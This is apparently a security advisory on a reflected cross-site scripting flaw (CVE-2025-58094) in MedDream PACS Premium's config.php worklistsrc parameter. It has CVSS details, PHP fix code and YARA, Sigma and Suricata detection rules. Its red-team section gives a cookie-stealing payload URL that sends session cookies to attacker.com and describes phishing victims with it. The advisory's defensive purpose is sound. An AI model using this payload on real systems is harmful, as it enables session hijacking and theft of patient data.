CVE-2025-58094

Executive Summary

CVE-2025-58094 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw exists in the config.php functionality, specifically within the worklistsrc parameter. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains due to the sensitive nature of PACS (Picture Archiving and Communication System) environments.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone application vulnerability in MedDream PACS Premium.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data possible.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the context of a PACS system handling medical imaging data elevates the risk. An XSS could be used to pivot to other internal systems or exfiltrate sensitive patient data.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the worklistsrc parameter of config.php. The application does not properly sanitize or validate user input before reflecting it back in the HTTP response. An attacker can inject arbitrary JavaScript by crafting a URL such as:

https://target-pacs-server/config.php?worklistsrc=<script>alert('XSS')</script>

When a user visits this URL, the injected script executes in the browser. The lack of output encoding or input validation allows the attacker to bypass any client-side or server-side filters. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the config.php file where the worklistsrc parameter is directly echoed without sanitization.

Vulnerable Code (Conceptual):

<?php
$worklistsrc = $_GET['worklistsrc'];
echo "<input type='text' name='worklistsrc' value='" . $worklistsrc . "'>";
?>

Patched Code (Recommended):

<?php
$worklistsrc = htmlspecialchars($_GET['worklistsrc'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='worklistsrc' value='" . $worklistsrc . "'>";
?>

The patch uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy a vulnerable MedDream PACS Premium 7.3.6.870 instance in a controlled environment.
2. Use a web browser or tool like Burp Suite to craft the malicious URL.

Exploitation Steps:

1. Craft a URL with a JavaScript payload:

   https://target-pacs-server/config.php?worklistsrc=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

2. Send the URL to a victim via phishing email or other means.
3. When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defender)

Detection:

• Monitor web server logs for suspicious worklistsrc parameters containing <script> tags or encoded JavaScript.
• Use WAF rules to block requests with XSS patterns in the worklistsrc parameter.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing attacks.

Indicators of Compromise (IOCs)

• URL Pattern: */config.php?worklistsrc=*<script>*
• HTTP Request Parameters: worklistsrc containing <script>, onerror, onload, or other event handlers.
• Network Traffic: Outbound connections to attacker-controlled domains from the PACS server.
• Log Entries: Web server logs showing config.php accessed with unusual worklistsrc values.

Detection Engineering

YARA Rule

rule CVE_2025_58094_XSS_MedDream {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS config.php worklistsrc parameter"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-58094"
    strings:
        $xss1 = "worklistsrc="
        $xss2 = "<script"
        $xss3 = "onerror="
        $xss4 = "onload="
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Reflected XSS in MedDream PACS config.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against MedDream PACS config.php worklistsrc parameter
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'worklistsrc='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in worklistsrc (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58094 MedDream PACS Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"/config.php"; http_uri; content:"worklistsrc="; http_uri; pcre:"/worklistsrc=.*(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the worklistsrc parameter by allowing only alphanumeric characters and specific safe characters.
2. Output Encoding: Use htmlspecialchars() or equivalent to encode output.
3. Web Application Firewall (WAF): Deploy rules to block XSS patterns in the worklistsrc parameter.
4. Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts.

Long-Term Fix:

• Apply a vendor patch once available. Since the patch status is UNKNOWN, consider upgrading to a newer version or applying a virtual patch via WAF.
• Conduct a security audit of the entire application for similar vulnerabilities.

Workarounds:

• Disable the config.php endpoint if not needed, or restrict access via IP whitelisting.
• Use a reverse proxy to filter malicious requests.

Valters IT